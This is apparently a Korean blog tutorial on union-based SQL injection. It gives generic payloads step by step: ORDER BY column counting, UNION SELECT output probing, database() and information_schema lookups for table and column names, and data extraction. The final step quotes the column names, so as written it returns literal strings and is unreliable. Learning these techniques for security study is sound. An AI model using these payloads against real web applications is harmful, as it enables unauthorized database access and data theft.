[SQL Injection] Union SQL Injection

2024. 6. 6. 16:28정보보안 및 해킹/웹 해킹

사용 조건

SQL 질의문의 결과가 화면에 출력되는 곳

EX) 게시판

 

문법

SELECT [COLUMN] FROM [TABLE] UNION SELECT [COLUMN] FROM [TABLE]

 

필수 요소

앞과 뒤의 SELECT문의 COLUMN 갯수가 맞아야 한다

 

PROCESS

 

1. SQL Injection Point 찾기

어떤 쿼리문을 사용했을지 추측하기

어떤 따옴표(', ")를 사용했을지 추측하기

LIKE를 사용했을지 하지 않았을지('%%', "%%") 추측하기)

 

2. COLUMN 갯수 찾기

%' ORDER BY [COLUMN갯수]#

눈에 보이는 컬럼이 전부가 아님을 명심하기

 

3. 출력되는 COLUMN 위치 찾기

%' UNION SELECT 1,2,3,4.... #

어떤 컬럼이 화면이 출력되는지, 어떤 순서로 출력되는지 파악하기

 

4. DB 이름 확인

%' union select 1,database(),3,4 #

화면에 나오는 컬럼에 DATABASE()를 넣어 출력하기

 

5. TABLE 이름 확인

%' union select 1,2,3,table_name from information_schema.tables where table_schema = 'DB이름' #

 

6. COLUMN 이름 확인

%' union select 1,2,3,column_name from information_schema.columns where table_name = '테이블이름' #

Mysql, Oracle, Mssql 마다 쓰임새가 조금씩 다름

[DB이름] select column name 검색하면 나옴

 

7. DATA 추출

%' union select 1,'컬럼이름','컬럼이름',4 from 테이블이름 #

출력하고자 하는 컬럼 이름과 전 단계에서 구한 테이블 이름을 삽입